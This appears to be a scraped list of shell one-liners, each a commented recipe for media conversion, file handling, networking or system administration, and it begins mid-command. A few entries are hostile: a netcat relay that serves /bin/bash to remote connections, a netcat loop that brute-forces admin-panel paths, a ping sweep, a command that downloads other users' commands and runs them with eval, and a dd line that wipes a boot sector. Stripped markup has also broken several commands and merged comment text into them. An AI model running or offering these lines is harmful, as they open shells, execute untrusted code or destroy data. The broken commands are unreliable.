-e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e | sed 's/.\{22\}$//g' | xargs wget -O OUPUT_FILE
# Convert decimal numbers to binary
function decToBin { echo "ibase=10; obase=2; $1" | bc; }
# Find all files that have nasty names
find -name "*[^a-zA-Z0-9._-]*"
# Test disk I/O
dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync
# A nice command for summarising repeated information
alias counts=sort | uniq -c | sort -nr
# Detect encoding of a text file
file -i
# Display which distro is installed
lsb_release -a
# Use Perl like grep
ack; pcregrep
# get a directory from one machine to another using tar and ssh
ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -
# show where symlinks are pointing
lsli() { ls -l --color "$@" | awk '{ for(i=9;i file_numbered.txt
# Get your external IP address
curl ifconfig.me/all/json
# Generate random valid mac addresses
for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:$(( $RANDOM % 16 )):1} ; done | sed -e 's/\(..\)/:\1/g' | sed 's/.\(.*\)/\1/' ; echo; done
# ring the bell
alias beep='echo -en "\007"'
# Batch edition of all OpenOffice.org Writer files in the current directory (bod
y text)bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq
"$P"/"$i"; sed -i "s/$S/$R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; }
# Generate random valid mac addresses
h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:$(($RANDOM%16)):1};if [[ $((c%2)) = 0 && $c != 12 ]];then echo -n :;fi;done;echo
# OSX: Hear pronunciation of a word
say WORD
# Delete all flash cookies.
find $HOME -name '*.sol' -exec rm {} \;
# write text or append to a file
cat <<.>> somefilename
# remove leading blank lines
sed '/./,$!d'
# Check if x509 certificate file and rsa private key match
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
# Remove CR LF from a text file
tr -d '\r\n' < input_file.txt > output_file.txt
# Make a playlistfile for mpg321 or other CLI player
ls -w 1 > list.m3u
# List of services sorted by boot order in Redhat-based systems
find /etc/rc3.d/ | sort -g
# Limit memory usage per script/program
(ulimit -v 1000000; scriptname)
# Remove all hidden files in a directory
rm -r .??*
# Get names of files in /dev, a USB device is attached to
ls -la /dev/disk/by-id/usb-*
# set desktop background to highest-rated image from Reddit /r/wallpapers
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh --bg-seamless
# Screencast with ffmpeg x11grab
ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre
lossless_ultrafast -threads 0 -y output.mkv
# reverse order of file
sed '1!G;h;$!d'
# Recursively grep thorugh directory for string in file.
grep -rni string dir
# Updated top ten memory utilizing processes (child/instance aggregation) now wi
th percentages of total RAMTR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list)
{proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
# Convert a single-page PDF to a hi-res PNG, at 300dpi
convert -density 300x300 input.pdf output.png
# finding more large files
find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5
# rgrep: recursive grep without .svn
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
# power off system in X hours form the current time, here X=2
echo init 0 | at now + 2 hours
# Go get those photos from a Picasa album
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
# Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great
for init scriptsG=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
# Reverse a file
tac -r -s "." FILENAME
# Give all those pictures the same name format, trailing zeros please for the ri
ght order, offset to merge different collections of picturesOFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do
NF="${F%.jpg}";NF="${NF/#+(0)/}";NF=$[NF+OFFS];NF="$(printf $FF $NF)".jpg;if [ "$F" != "$NF" ];then mv -iv "$F" "$NF";fi;done
# Root shell
sudo -i
# check the filesystem and use a progress bar
e2fsck -C -v /dev/device
# faster version of ls *
echo *
# Hear the mice moving
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done
# vi a new file with execution mode
vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; }
# Undo commit in Mercurial
hg diff -c $REV --reverse | hg patch --no-commit -
# Mutt - Change mail sender.
export EMAIL=caiogore@domain.com && mutt -s "chave webmail" destination@domain.com < /dev/null
# Use color grep by default
alias grep 'gnu grep -i --color=auto'
# List folders containing only PNGs
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
# Random unsigned integer
od -N 4 -t uL -An /dev/random | tr -d " "
# Sort output by column
ps aux | sort -nk 6
# Show account security settings
chage -l
# Find the fastest server to disable comcast's DNS hijacking
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
# Generate random valid mac addresses
for i in {1..6}; do printf "%0.2X:" $[ $RANDOM % 0x100 ]; done | sed 's/:$/\n/'
# Empty Bind9 cache
rndc flush
# Find out the last times your system was rebooted (for the duration of wtmp).
last reboot
# find out which directories in /home have the most files currently open
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr
# Perform a reverse DNS lookup
dig -x 74.125.45.100
# Ping sweep without NMAP
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
# find read write traffic on disk since startup
iostat -m -d /dev/sda1
# Print Asterisk phone logs
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column
-t; }
# Output files without comments or empty lines
grep -v "^\($\|#\)"
# commandline dictionary
wn wonder -over
# Dock Thunderbird in system tray and hide main window
alltray -H thunderbird
# Find today created files
find directory/ -mtime 0 -type f
# Show current iptables rules, with line numbers
iptables -nL -v --line-numbers
# last.fm rss parser
egrep "|" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "" '{print $2, $1}' | sed -e 's/\/\
"t"" } //{gsub(/.*|<\/title>.*/,"");t=$0 }' file
# Copy via tar pipe while preserving file permissions (run this command as root!
)tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -
# Counts number of lines (in source code excluding comments)
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e'
# Check executable shared library usage
ldd
# Route outbound SMTP connections through a addtional IP address rather than you
r primaryiptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
# pass the output of some command to a new email in the default email client
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
# Print a list of installed Perl modules
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC'
# unpack all rars in current folder
unrar e *.rar
# View all images
find -iname '*.jpg' -print0 | xargs -0 feh -d
# Recursively move folders/files and preserve their permissions and ownership pe
rfectlycd /source/directory; tar cf - . | tar xf - -C /destination/directory
# Search through files, ignoring .svn
grep -R . --exclude-dir='.svn'
# Block all IP addresses and domains that have attempted brute force SSH login t
o computer/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
# Download a file securely via a remote SSH server
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/}
# Mount Fat USB with RWX
sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb
# Enter a command but keep it out of the history
secret -p password
# Detach a process from the current shell
nohup ping -i1 www.google.com &
# Execute MySQL query send results from stdout to CSV
mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv
# Safe Delete
shred -n33 -zx file; rm file
# Insert the last argument of the previous command
.
# Get the header of a website
curl -sI http://blog.binfalse.de
# Better recursive grep with pretty colors... requires ruby and gems (run: "gem
install rak")rak "what you're searching for" dir/path
# Sort IP addresses
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
# A DESTRUCTIVE command to render a drive unbootable
dd if=/dev/zero of=/dev/fd0 bs=512 count=1
# run command on a group of nodes in parallel
seq 1 5 | parallel ssh {}.cluster.net uptime
# intercept stdout/stderr of another process or disowned process
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g" -e 's/ //g' | xxd -r -p
# find text in a file
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
# Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
# Display the list of all opened tabs from Firefox via a python one-liner and a
shell hack to deal with python indentation.python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in
jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
# convert pdf into multiple png files
gs -sDEVICE=pngalpha -sOutputFile=%d.png -r
# Stat each file in a directory
find . -maxdepth 1 -type f | xargs stat
# Find files and list them sorted by modification time
find -type f -print0 | xargs -r0 stat -c %y\ %n | sort
# Generate a random password
openssl rand -base64 12
# wc in perl
perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt
# Verbosely delete files matching specific name pattern, older than 15 days.
rm -vf /backup/directory/**/FILENAME_*(m+15)
# Convert .flv to .avi
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
# Remove last line from files recursively
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;
# recursive search and replace old with new string, inside files
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'
# Batch rename extension of all files in a folder, in the example from .txt to .
mdfor f in *.txt; do mv $f `basename $f .txt`.md; done;
# This is N5 sorta like rot13 but with numbers only
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
# Paste OS X clipboard contents to a file on a remote machine
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
# git pull all repos
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done
# Get info about a GitHub user
curl http://github.com/api/v1/yaml/git
# find out how much space are occuipied by files smaller than 1024K (sic) - impr
ovedfind dir -size -1024k -type f -print0 | du --files0-from - -bc
# disassemble binary shellcode
objdump -b binary -m i386 -D shellcode.bin
# Get info about a GitHub project
curl http://github.com/api/v1/yaml/search/vim
# Display or use a random file from current directory via a small bash one-liner
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
# Delete empty directories with zsh
rm -d **/*(/^F)
# Merge various PDF files
pdftk first.pdf second.pdf cat output output.pdf
# To find the count of each open file on a system (that supports losf)
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq |
sort -nr
# Recursively execute command on directories (.svn, permissions, etc)
find . -type d -name .svn -exec chmod g+s "{}" \;
# Get current Xorg resolution via xrandr
xrandr | grep \* | cut -d' ' -f4
# Quick HTML image gallery
find . -iname '*.jpg' | sed 's/.*//' > gallery.html
# Suspend to ram
sudo pm-suspend
# Extract JPEG images from a PDF document
pdfimages -j foo.pdf bar
# Count lines of code across multiple file types, sorted by least amount of code
to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
# Find dead symbolic links
find . -type l | perl -lne 'print if ! -e'
# A command's package details
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less
# move contents of the current directory to the parent directory, then remove cu
rrent directory.mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD
# remove hostname from known_hosts
ssh-keygen -R hostname
# a function to create a box of '=' characters around a given string.
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing
$file (and maybe more)" 1>&2; break; }; done; done`
# List files with full path
find $(pwd) -maxdepth 1
# Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)
# Check if a web page has changed last time checked.
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s
"Page has changed." mail@mail.de ; fi ; mv /tmp/new.html /tmp/old.html
# List files with full path
ls | sed s#^#$(pwd)/#
# Add an audio soundtrack to a series of images to create an flv
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv
# Grab just the title of a youtube video
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '' | grep '-') | sed 's/^- //'
# Download all images from a 4chan thread
function 4get () { curl $1 | grep -i "File common
# Unaccent an entire directory tree with files.
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent
UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
# HTML5 ogg player
echo '
' >> /tmp/bar.html
# Split and join with split and cat.
split -b 1k file ; cat x* > file
# Recursively Add Changed Files to Subversion
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
# ruby one-liner to get the current week number
ruby -rdate -e 'p DateTime.now.cweek'
# online MAC address lookup
curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo
# SSH tunneling self-connection
autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1 -L bind_address2:localport2:server2:remoteport2 user@sshserver
# pipe output to notify-send
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
# Equivalent to ifconfig -a in HPUX
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
# pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
# Find out current working directory of a process
readlink /proc/self/cwd
# ThePirateBay.org torrent search
tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\%20/g') | grep -o
'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; }
# The Chronic: run a command every N seconds in the background
chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
# Get a list of all your VirtualBox virtual machines by name and UUID from the s
hellVBoxManage list vms
# resume scp-filetransfer with rsync
rsync --partial --progress --rsh=ssh user@host:remote-file local-file
# Capture screen and mic input using FFmpeg and ALSA
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s
wvga -y intro.mp4
# make sure you don't add large file to your repository
svn status | awk '{print $2}' | xargs du | sort -n | tail
# pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing Foobar" --text "Pleae wait until process has finished."
# Creates a proxy based on tsocks.
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
# view the system memory in clear text
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
# List contents of tar archive within a compressed 7zip archive
7z x -so testfile.tar.7z | tar tvf -
# Strace all signals processes based on a name ( The processes already started..
. ) with bash built-instraceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
# Send your svn diff to meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
# Copy the text from the 3rd line to the 9th line into a new file with VI
:3,9w new_file
# Concatenate video files to YouTube ready output
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
# Realtime lines per second in a log file
tail -f access.log | pv -l -i10 -r >/dev/null
# convert hex to decimal ; decimal to hex
echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
# Display the standard deviation of a column of numbers with awk
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
# Convert PDF to JPEG using Ghostscript
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
# Lines per second in a log file
tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log
# create a new script, automatically populating the shebang line, editing the sc
ript, and making it executable.shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1,
is it in your \$PATH?"; fi; }
# Separates each frame of a animated gif file to a counted file, then appends th
e frames together into one sheet file. Useful for making sprite sheets for games.convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
# Compress logs older than 7 days
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
# convert strings toupper/tolower with tr
echo "aBcDeFgH123" | tr a-z A-Z
# online MAC address lookup
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
# Duplicating service runlevel configurations from one server to another.
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat >
foo'
# From Vim, run current buffer in python
! python %
# Show a Package Version on Debian based distribution
apt-cache show pkgname | grep -i "version:"
# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
# Make a high definition VNC
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
# extract all urls from firefox sessionstore
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" >
session_urls.txt
# List the libraries used by an application
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/'
# show the date every rpm was installed
rpm -qa --last
# create an screenshot, upload it to your server via scp and then open that scre
enshot in firefoxFILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP
YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
# Parallel mysql dump restore
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
# Force an fsck on reboot
shutdown -rF now
# Give {Open,True}Type files reasonable names
shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i
"$f" "$g".ttf; done
# Decode base64-encoded file in one line of Perl
perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out
# Find the biggest files
du -sk * | sort -rn | head
# Decode base64-encoded file in one line of Perl
openssl base64 -d < file.txt > out
# Watch memcache traffic
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211
# Netcat Relay
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;
## nc -l $IamTargetHost 1234 -e /bin/bash;
# u can hear all .ogg files with vlc that thier link are in url
lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null
# top svn committers (without awk)
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr
# Averaging columns of numbers
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
# Validating a file with checksum
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
# Set file access control lists
setfacl -m u:john:r-- myfile
# Generate SHA1 hash for each file in a list
find . -type f -exec sha1sum {} >> SHA1SUMS \;
# Grab an interface's IP from ifconfig without screen clutter
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
# Most used command
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# Quick plotting of a function
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
# Print text string vertically, one character per line.
echo "vertical text" | fold -1
# Show a line when a "column" matchs
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
# get your terminal back after it's been clobbered
reset
# Remove newlines from output
cat filename | grep .
# Produce a pseudo random password with given length in base 64
date +%s | sha256sum | base64 | head -c ; echo
# Get NFL/MLB Scores/Time
w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// : F\//g'|sed 's/, / : /g'|grep -i ':'
# Backup a file with a date-time stamp
buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; }
# tar directory and compress it with showing progress and Disk IO limits
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip > /mnt/c/home.tar.gz
# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users,//'
# Download a numbered sequence of files
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"
# Summarise the size of all files matching a simple regex
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
# Lists unambigously names of all xml elements used in files in current director
ygrep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
# Colorful man
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
# Make a directory named with the current date
mkdir `date --iso`
# Create multiple mp4 files using avidemux
for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
# mysql DB size
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
# Capture data in ASCII. 1500 bytes
tcpdump -ieth0 -n tcp port 80 -A -s1500
# Play music from youtube without download
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
# Find all files under a certain directory /home that have a certain suffix at t
he end of the file name. Show the file and rename them to remove the suffix.find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;
# [WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given f
older.C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
# Update program providing java on Debian
update-java-alternatives
# Debian: Mark all dependent packages as manualy installed.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
# show rpm packages scriptlets
rpm -qp --scripts package.rpm
# Remove annoying OS X DS_Store folders
find . -name .DS_Store -exec rm {} \;
# convert plain .avi movies to .mpeg
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map
0.1:0.1 movie.mpg
# Recursive cat - concatenate files (filtered by extension) across multiple subd
irectories into one filefind . -type f -name *.ext -exec cat {} > file.txt \;
# Router discovery
sudo arp-scan 192.168.1.0/24 -interface eth0
# Monitor the queries being run by MySQL
mytop
# get absolute file path
readlink -f myfile.txt
# split a string (3)
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
# HTTP Get of a web page via proxy server with login credentials
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
# Give any files that don't already have it group read permission under the curr
ent folder (recursive)find . -type f ! -perm /g=r -exec chmod g+r {} +
# First pass dvd rip... The set of commands was too long, so I had to separate t
hem into two.mencoder dvd:// -dvd-device -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts
pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/dev/null'
# Get your external IP address with a random commandlinefu.com command
IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP
address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
# Netcat brute force on administration login panel
for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK"
2>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done
# calculate in commandline with bash
echo $(( 1+1 ))
# Quick calculator at the terminal
echo "$math_expr" | bc -l
# Second pass dvd rip... The set of commands was too long, so I had to separate
them into two.mencoder dvd:// -dvd-device -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts
pass=2:bitrate=-700000 -ofps 30000/1001 -o ''
# split large video file
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
# add static arp entry to default gateway, arp poison protection
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
# Rip a DVD to AVI format
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
# print contents of file from line 1 until we match regex
sed -n '1,/regex/p' filename
# print line and execute it in BASH
echo ; !#:0-$
# move messages directly from one IMAP inbox to another
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cert/user="username"}INBOX'
'{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX'
# Video thumbnail
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg
# nohup that doesn't generate nohup.out
nohup 2> /dev/null > /dev/null &
# Replace Every occurrence of a word in a file
perl -p -i -e 's/this/that/g' filename
# Report bugs in Ubuntu
ubuntu-bug
# Get each users commit amount
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c
# Query Wikipedia via console over DNS
nslookup -q=txt .wp.dg.cx
# Force the script to be started as root
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
# Getting the ip address of eth0
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add -
# send echo to socket network
echo foo | netcat 192.168.1.2 25
# mount a cdrom
mount -t iso9660 /dev/cdrom /media/cdrom
# Netcat & Tar
Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234
# List symbols from a dynamic library (.so file)
nm --dynamic
# sort lines by length
awk '{print length, $0;}' | sort -nr
# Copy text to the clipboard
cat SomeFile.txt | pbcopy
# preprocess code to be posted in comments on this site
sed 's/^/$ /' "$script" | xclip
# Display Dilbert strip of the day
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
# The Hidden PS
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo pid:6,user:8,comm:10,$p kpid -A;done
# add repeated watermark to image
composite -dissolve 30% -tile watermark.png input.png output.png
# Check if a remote port is up using dnstools.com (i.e. from behind a firewall/p
roxy)cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O -
